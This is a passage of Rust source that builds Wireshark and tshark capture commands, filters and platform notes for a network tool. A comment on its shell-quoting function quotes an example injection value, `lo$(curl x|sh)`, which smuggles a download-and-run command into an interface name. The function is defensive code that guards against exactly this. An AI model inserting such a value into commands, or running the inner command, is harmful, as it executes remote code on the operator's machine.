542        "ospf" => raw("ip proto 89", "ospf"),
543        // Same trap as isis: `arp` is an Ethernet-only BPF keyword and is rejected on
544        // loopback (DLT_NULL on macOS). Capture on a real interface.
545        "arp" => with_note(raw("arp", "arp"), ARP_LOOPBACK_NOTE),
546        // `isis` is an Ethernet-only BPF keyword and is rejected outright on a
547        // loopback device, so let the display filter do the selecting.
548        "isis" => raw("", "isis"),
549        // The redundancy and discovery family. None of the five needs a `-d` clause: tshark's
550        // own defaults already map ip.proto 112, llc.dsap 0x42, ethertype 0x88cc,
551        // llc.cisco_pid 0x2000 and udp.port 1985 to these dissectors, so `raw(bpf, display)`
552        // is the right shape even for HSRP, which rides UDP.
553        //
554        // Only the first two can be captured on loopback; the three that name an Ethernet
555        // address or EtherType are rejected there.
556        "vrrp" => with_note(raw("ip proto 112", "vrrp"), CARP_NOTE),
557        "hsrp" => raw("udp port 1985", "hsrp"),
558        "stp" => with_note(
559            raw("ether dst 01:80:c2:00:00:00", "stp"),
560            L2_ETHER_ONLY_NOTE,
561        ),
562        "lldp" => with_note(raw("ether proto 0x88cc", "lldp"), L2_ETHER_ONLY_NOTE),
563        "eapol" => with_note(raw("ether proto 0x888e", "eapol"), L2_ETHER_ONLY_NOTE),
564        // Neighbor Discovery is ICMPv6 types 133-137 (RS, RA, NS, NA, Redirect).
565        "ndp" => raw("icmp6", "icmpv6.type >= 133 && icmpv6.type <= 137"),
566        "cdp" => with_note(
567            raw("ether dst 01:00:0c:cc:cc:cc", "cdp"),
568            L2_ETHER_ONLY_NOTE,
569        ),
570        "datalink" => raw("", ""),
571        // ---- not on a network --------------------------------------------
572        "pty" | "stdio" | "named_pipe" | "socket_file" | "ssh_agent" => offline(LOCAL_NOTE),
573        // The client only. `wire_for_role` overrides this for the server, which is a plain
574        // TCP vpcd socket. On Linux the reader's own USB traffic is capturable through usbmon
575        // and Wireshark has a real `usbccid` dissector (confirmed present in `-G protocols`),
576        // which is the one place these APDUs can be seen; macOS has no equivalent.
577        "nfc" => offline(
578            "NFC goes through a PC/SC reader, not a network interface. On Linux the reader's \
579             USB traffic can be captured with usbmon and dissected as `usbccid`; on macOS \
580             there is no equivalent and the APDUs are not observable.",
581        ),
582        // The six USB *servers* are plain TCP listeners speaking USB/IP. They inherited the
583        // client's answer purely because `starts_with("usb")` cannot tell the two apart, so
584        // the modal told the operator a capture was possible and then handed over nothing to
585        // run. `tcp.port==N,usbip` is accepted by this machine's tshark (checked, as the rest
586        // of this table's names were).
587        "usb_keyboard" | "usb_mouse" | "usb_serial" | "usb_msc" | "usb_fido2" | "usb_smartcard" => {
588            with_note(tcp("usbip"), USBIP_NOTE)
589        }
590        // The bare `usb` feature is the nusb *client*, which talks to a real device through
591        // the OS and genuinely is off-network.
592        n if n.starts_with("usb") => offline(USB_NOTE),
593        n if n.starts_with("bluetooth") => offline(BLE_NOTE),
594        _ => PLAIN_TCP,
595    }
596}
597
598/// The operating system the command will be pasted into; it decides interface
599/// names and the privilege advice.
600#[derive(Debug, Clone, Copy, PartialEq, Eq)]
601pub enum Platform {
602    MacOs,
603    Linux,
604    Windows,
605    Other,
606}
607
608impl Platform {
609    pub fn current() -> Self {
610        if cfg!(target_os = "macos") {
611            Platform::MacOs
612        } else if cfg!(target_os = "linux") {
613            Platform::Linux
614        } else if cfg!(target_os = "windows") {
615            Platform::Windows
616        } else {
617            Platform::Other
618        }
619    }
620
621    fn loopback(self) -> &'static str {
622        match self {
623            Platform::MacOs => "lo0",
624            Platform::Linux => "lo",
625            Platform::Windows => "\\Device\\NPF_Loopback",
626            Platform::Other => "lo0",
627        }
628    }
629
630    /// The device that sees every interface, where one exists.
631    fn any(self) -> Option<&'static str> {
632        match self {
633            Platform::Linux => Some("any"),
634            _ => None,
635        }
636    }
637}
638
639#[derive(Debug, Clone, Copy, PartialEq, Eq)]
640pub enum Role {
641    /// The filter is on the port NetGet binds.
642    Server,
643    /// The filter is on the port NetGet dials; its own source port is
644    /// ephemeral and unknown until connected.
645    Client,
646}
647
648/// What the dashboard knows about the instance (or the form about the one
649/// being created).
650#[derive(Debug, Clone, PartialEq, Eq)]
651pub struct CaptureTarget {
652    pub protocol: String,
653    pub role: Role,
654    /// Bind host (server) or remote host (client). `None` means the
655    /// protocol's default, which is loopback for every port-based protocol.
656    pub host: Option<String>,
657    /// Bind port or remote port. `None`/`0` means unknown until the server
658    /// starts.
659    pub port: Option<u16>,
660    /// Explicit interface, for the raw-socket protocols.
661    pub interface: Option<String>,
662}
663
664impl CaptureTarget {
665    /// Split a `host:port` / `[v6]:port` / bare-host remote address.
666    pub fn client(protocol: &str, remote_addr: Option<&str>) -> Self {
667        let (host, port) = match remote_addr.map(str::trim).filter(|s| !s.is_empty()) {
668            None => (None, None),
669            Some(addr) => split_host_port(addr),
670        };
671        Self {
672            protocol: protocol.to_string(),
673            role: Role::Client,
674            host,
675            port,
676            interface: None,
677        }
678    }
679}
680
681/// `host:port` → (host, port). Tolerates `[::1]:53`, a bare host, and a bare
682/// IPv6 address (which has many colons and no port).
683fn split_host_port(addr: &str) -> (Option<String>, Option<u16>) {
684    if let Some(rest) = addr.strip_prefix('[') {
685        if let Some((host, port)) = rest.split_once(']') {
686            let port = port.strip_prefix(':').and_then(|p| p.parse().ok());
687            return (Some(host.to_string()), port);
688        }
689    }
690    if addr.matches(':').count() == 1 {
691        if let Some((host, port)) = addr.rsplit_once(':') {
692            if let Ok(port) = port.parse::<u16>() {
693                let host = (!host.is_empty()).then(|| host.to_string());
694                return (host, Some(port));
695            }
696        }
697    }
698    (Some(addr.to_string()), None)
699}
700
701fn is_loopback(host: &str) -> bool {
702    let h = host.trim().trim_start_matches('[').trim_end_matches(']');
703    h.is_empty()
704        || h.eq_ignore_ascii_case("localhost")
705        || h == "::1"
706        || h.starts_with("127.")
707        || h == "0:0:0:0:0:0:0:1"
708}
709
710fn is_unspecified(host: &str) -> bool {
711    let h = host.trim().trim_start_matches('[').trim_end_matches(']');
712    h == "0.0.0.0" || h == "::" || h == "0:0:0:0:0:0:0:0"
713}
714
715/// One line of the modal, typed so the renderer can style it.
716#[derive(Debug, Clone, PartialEq, Eq)]
717pub enum PlanLine {
718    Heading(String),
719    /// A value meant to be copied verbatim.
720    Value(String),
721    Note(String),
722    Blank,
723}
724
725/// The derived capture recipe.
726#[derive(Debug, Clone, PartialEq, Eq)]
727pub struct CapturePlan {
728    pub target: CaptureTarget,
729    pub wire: Wire,
730    pub interface: String,
731    pub capture_filter: String,
732    pub display_filter: String,
733    /// `tcp.port==8080,http` — the argument to `-d`.
734    pub decode_as: Option<String>,
735    pub notes: Vec<String>,
736}
737
738/// `wire_for` keyed on the protocol name alone, which is right for every protocol whose two
739/// halves ride the same transport — and wrong for the few where they do not.
740///
741/// `nfc` is the case that forced this. Both halves report `protocol_name() == "nfc"`, so one
742/// arm served both, and the arm described the *client*: PC/SC to a physical reader, nothing on
743/// a network. But the NFC **server** is a plain TCP socket speaking vpcd — it makes no PC/SC
744/// call and no reader is involved — so the whole exchange is capturable on loopback, and the
745/// operator was being told to give up on a capture that works.
746fn wire_for_role(protocol: &str, role: Role) -> Wire {
747    let name = protocol.trim().to_ascii_lowercase().replace('-', "_");
748    match (name.as_str(), role) {
749        // The virtual tag is a TCP socket. There is no vpcd dissector, so the length-prefixed
750        // APDUs show as raw bytes in the hex pane — which is exactly what you want when the
751        // question is what the card said.
752        ("nfc", Role::Server) => with_note(PLAIN_TCP, NFC_SERVER_NOTE),
753        _ => wire_for(protocol),
754    }
755}
756
757impl CapturePlan {
758    pub fn build(target: CaptureTarget, platform: Platform) -> Self {
759        let wire = wire_for_role(&target.protocol, target.role);
760        let mut notes = Vec::new();
761        let host = target.host.as_deref().map(str::trim).unwrap_or("");
762        let port = target.port.filter(|p| *p != 0);
763        let host_is_local = is_loopback(host);
764        let host_is_any = is_unspecified(host);
765
766        // ---- interface ----
767        let interface = match wire.transport {
768            Transport::Raw(_) => target
769                .interface
770                .as_deref()
771                .map(str::trim)
772                .filter(|i| !i.is_empty())
773                .map(str::to_string)
774                .unwrap_or_else(|| platform.loopback().to_string()),
775            Transport::NotNetwork => String::new(),
776            _ if host_is_local => platform.loopback().to_string(),
777            _ => match platform.any() {
778                Some(any) => any.to_string(),
779                None => {
780                    notes.push(if host_is_any {
781                        format!(
782                            "Bound on every address. `{}` shows loopback peers only; for remote \
783                             peers replace it with the external interface (`tshark -D` lists \
784                             them, usually en0).",
785                            platform.loopback()
786                        )
787                    } else {
788                        format!(
789                            "`{host}` is not a local address. Replace the interface with the \
790                             one that routes to it (`route -n get {host}` names it; `tshark -D` \
791                             lists all)."
792                        )
793                    });
794                    if host_is_any {
795                        platform.loopback().to_string()
796                    } else {
797                        "en0".to_string()
798                    }
799                }
800            },
801        };
802
803        // ---- capture filter (BPF) ----
804        let host_clause = (!host_is_local && !host_is_any && !host.is_empty())
805            .then(|| format!(" and host {host}"));
806        let capture_filter = match wire.transport {
807            Transport::Tcp => port_bpf("tcp", port, &host_clause),
808            Transport::Udp => port_bpf("udp", port, &host_clause),
809            Transport::TcpOrUdp => port_bpf("", port, &host_clause),
810            Transport::Raw(bpf) => bpf.to_string(),
811            Transport::NotNetwork => String::new(),
812        };
813
814        // ---- display filter + decode-as ----
815        let app_filter = wire.display.or(wire.decode_as);
816        let (display_filter, decode_as) = match wire.transport {
817            Transport::NotNetwork => (String::new(), None),
818            Transport::Raw(_) => (app_filter.unwrap_or("").to_string(), None),
819            Transport::Tcp | Transport::Udp | Transport::TcpOrUdp => {
820                let port_expr = match (wire.transport, port) {
821                    (Transport::Tcp, Some(p)) => format!("tcp.port == {p}"),
822                    (Transport::Udp, Some(p)) => format!("udp.port == {p}"),
823                    (Transport::TcpOrUdp, Some(p)) => {
824                        format!("(tcp.port == {p} || udp.port == {p})")
825                    }
826                    (Transport::Tcp, None) => "tcp".to_string(),
827                    (Transport::Udp, None) => "udp".to_string(),
828                    _ => "tcp || udp".to_string(),
829                };
830                let display = match app_filter {
831                    Some(app) if app.contains("||") => format!("{port_expr} && ({app})"),
832                    Some(app) => format!("{port_expr} && {app}"),
833                    None => port_expr,
834                };
835                let decode_as = match (wire.decode_as, port) {
836                    (Some(name), Some(p)) => {
837                        let table = match wire.transport {
838                            Transport::Udp => "udp.port",
839                            _ => "tcp.port",
840                        };
841                        Some(format!("{table}=={p},{name}"))
842                    }
843                    _ => None,
844                };
845                (display, decode_as)
846            }
847        };
848
849        // ---- notes ----
850        if let Some(note) = wire.note {
851            notes.push(note.to_string());
852        }
853        if !matches!(wire.transport, Transport::NotNetwork | Transport::Raw(_)) && port.is_none() {
854            notes.push(match target.role {
855                Role::Server => "No fixed port yet (0 lets the OS pick one at start). The filter \
856                                 matches all traffic on the transport; re-open this from the \
857                                 running server's row to get the real port."
858                    .to_string(),
859                Role::Client => "No remote port given, so the filter cannot narrow to one \
860                                 connection yet."
861                    .to_string(),
862            });
863        }
864        if target.role == Role::Client && !matches!(wire.transport, Transport::NotNetwork) {
865            notes.push(
866                "Filtering on the remote port: the client's own source port is chosen by the OS \
867                 at connect time."
868                    .to_string(),
869            );
870        }
871        if wire.transport == Transport::TcpOrUdp && wire.decode_as.is_some() {
872            if let (Some(name), Some(p)) = (wire.decode_as, port) {
873                notes.push(format!(
874                    "Served over both transports; add `-d udp.port=={p},{name}` as well if the \
875                     peer uses UDP."
876                ));
877            }
878        }
879        if !matches!(wire.transport, Transport::NotNetwork) {
880            notes.push(match platform {
881                Platform::MacOs => "Live capture needs /dev/bpf* access. Wireshark's installer \
882                                    ships ChmodBPF for that; if capture is refused, `sudo \
883                                    dseditgroup -o edit -a $USER -t user access_bpf` and log in \
884                                    again."
885                    .to_string(),
886                Platform::Linux => "Live capture needs CAP_NET_RAW on dumpcap: `sudo \
887                                    dpkg-reconfigure wireshark-common` then `sudo usermod -aG \
888                                    wireshark $USER`, or run with sudo."
889                    .to_string(),
890                Platform::Windows => "Live capture needs Npcap with the loopback adapter enabled \
891                                      (the Wireshark installer offers it)."
892                    .to_string(),
893                Platform::Other => {
894                    "Live capture needs raw-socket privilege on this platform.".to_string()
895                }
896            });
897        }
898
899        Self {
900            target,
901            wire,
902            interface,
903            capture_filter,
904            display_filter,
905            decode_as,
906            notes,
907        }
908    }
909
910    fn common_args(&self, out: &mut String) {
911        let _ = write!(out, " -i {}", shell_word(&self.interface));
912        if !self.capture_filter.is_empty() {
913            let _ = write!(out, " -f {}", shell_word(&self.capture_filter));
914        }
915        if !self.display_filter.is_empty() {
916            let _ = write!(out, " -Y {}", shell_word(&self.display_filter));
917        }
918        if let Some(decode) = &self.decode_as {
919            let _ = write!(out, " -d {}", shell_word(decode));
920        }
921    }
922
923    /// The GUI: `-k` starts capturing immediately.
924    pub fn wireshark_command(&self) -> Option<String> {
925        if self.wire.transport == Transport::NotNetwork {
926            return None;
927        }
928        let mut out = String::from("wireshark -k");
929        self.common_args(&mut out);
930        Some(out)
931    }
932
933    /// The terminal: `-l` flushes per packet so a pipe shows rows as they come.
934    pub fn tshark_command(&self) -> Option<String> {
935        if self.wire.transport == Transport::NotNetwork {
936            return None;
937        }
938        let mut out = String::from("tshark -l");
939        self.common_args(&mut out);
940        Some(out)
941    }
942
943    /// The modal body.
944    pub fn lines(&self) -> Vec<PlanLine> {
945        let mut lines = Vec::new();
946        let what = match self.target.role {
947            Role::Server => "server",
948            Role::Client => "client",
949        };
950        let mut ident = format!("{} {what}", self.target.protocol);
951        if let Some(host) = self.target.host.as_deref().filter(|h| !h.trim().is_empty()) {
952            let _ = write!(ident, " on {host}");
953            if let Some(port) = self.target.port.filter(|p| *p != 0) {
954                let _ = write!(ident, ":{port}");
955            }
956        } else if let Some(port) = self.target.port.filter(|p| *p != 0) {
957            let _ = write!(ident, " on port {port}");
958        }
959        lines.push(PlanLine::Note(ident));
960        lines.push(PlanLine::Blank);
961
962        if let Some(cmd) = self.wireshark_command() {
963            lines.push(PlanLine::Heading(
964                "Wireshark (GUI) — paste in a terminal".into(),
965            ));
966            lines.push(PlanLine::Value(cmd));
967            lines.push(PlanLine::Blank);
968        }
969        if let Some(cmd) = self.tshark_command() {
970            lines.push(PlanLine::Heading("tshark (terminal)".into()));
971            lines.push(PlanLine::Value(cmd));
972            lines.push(PlanLine::Blank);
973        }
974        if self.wire.transport != Transport::NotNetwork {
975            lines.push(PlanLine::Heading(
976                "Pieces, for an already-open Wireshark".into(),
977            ));
978            lines.push(PlanLine::Note(format!(
979                "interface:       {}",
980                self.interface
981            )));
982            lines.push(PlanLine::Note(format!(
983                "capture filter:  {}",
984                if self.capture_filter.is_empty() {
985                    "(none — every frame)"
986                } else {
987                    &self.capture_filter
988                }
989            )));
990            lines.push(PlanLine::Note(format!(
991                "display filter:  {}",
992                if self.display_filter.is_empty() {
993                    "(none)"
994                } else {
995                    &self.display_filter
996                }
997            )));
998            if let Some(decode) = &self.decode_as {
999                lines.push(PlanLine::Note(format!(
1000                    "decode as:       {decode}   (Analyze → Decode As…)"
1001                )));
1002            }
1003            lines.push(PlanLine::Blank);
1004        }
1005        if !self.notes.is_empty() {
1006            lines.push(PlanLine::Heading("Notes".into()));
1007            for note in &self.notes {
1008                lines.push(PlanLine::Note(format!("• {note}")));
1009            }
1010        }
1011        lines
1012    }
1013}
1014
1015fn port_bpf(proto: &str, port: Option<u16>, host_clause: &Option<String>) -> String {
1016    let mut out = match (proto, port) {
1017        ("", Some(p)) => format!("port {p}"),
1018        ("", None) => "tcp or udp".to_string(),
1019        (proto, Some(p)) => format!("{proto} port {p}"),
1020        (proto, None) => proto.to_string(),
1021    };
1022    if let Some(clause) = host_clause {
1023        if proto.is_empty() && port.is_none() {
1024            out = format!("({out})");
1025        }
1026        out.push_str(clause);
1027    }
1028    out
1029}
1030
1031/// Quote a value for the shell the operator will paste this into, only when needed, so
1032/// `-i lo0` stays bare and `-f 'tcp port 8080'` gets its quotes.
1033///
1034/// The interface name is a startup parameter the model (or an MCP client) can set, and it
1035/// lands in a line the operator copies into a terminal. Double quotes left `$`, backticks
1036/// and `\` live, so `lo$(curl x|sh)` rendered as `-i "lo$(curl x|sh)"` — paste-ready
1037/// in the wrong sense. On POSIX shells a single-quoted word has no metacharacters at all;
1038/// an embedded `'` is spelled `'\''`. cmd.exe has no safe quoting, so there the value is
1039/// double-quoted and anything cmd would still interpret (`%`, `^`, `&`, `|`, `<`, `>`) is
1040/// replaced by a placeholder that says so rather than guessed at.
1041pub fn shell_word(value: &str) -> String {
1042    let plain = !value.is_empty()
1043        && value
1044            .chars()
1045            .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.' | '/' | ',' | '='));
1046    if plain {
1047        return value.to_string();
1048    }
1049    if cfg!(windows) {
1050        // Double quotes are the one form cmd.exe and PowerShell both read, and each expands
1051        // something inside them: cmd.exe `%VAR%`, PowerShell `$(...)` and the backtick
1052        // escape. A value carrying any of those is refused rather than quoted.
1053        if has_controls(value)
1054            || value
1055                .chars()
1056                .any(|c| matches!(c, '%' | '^' | '&' | '|' | '<' | '>' | '"' | '$' | '`'))
1057        {
1058            return "<value-not-representable-for-cmd.exe>".to_string();
1059        }
1060        return format!("\"{value}\"");
1061    }
1062    // Control characters cannot be made safe inside a terminal paste; a newline would end
1063    // the command and run what follows. This refuses the value rather than rewriting it
1064    // (`sanitize::has_controls` is the validator form), so the operator sees that the
1065    // instance's parameter is unusable instead of a quietly different command.
1066    if has_controls(value) {
1067        return "<value-contains-control-characters>".to_string();
1068    }
1069    format!("'{}'", value.replace('\'', "'\\''"))
1070}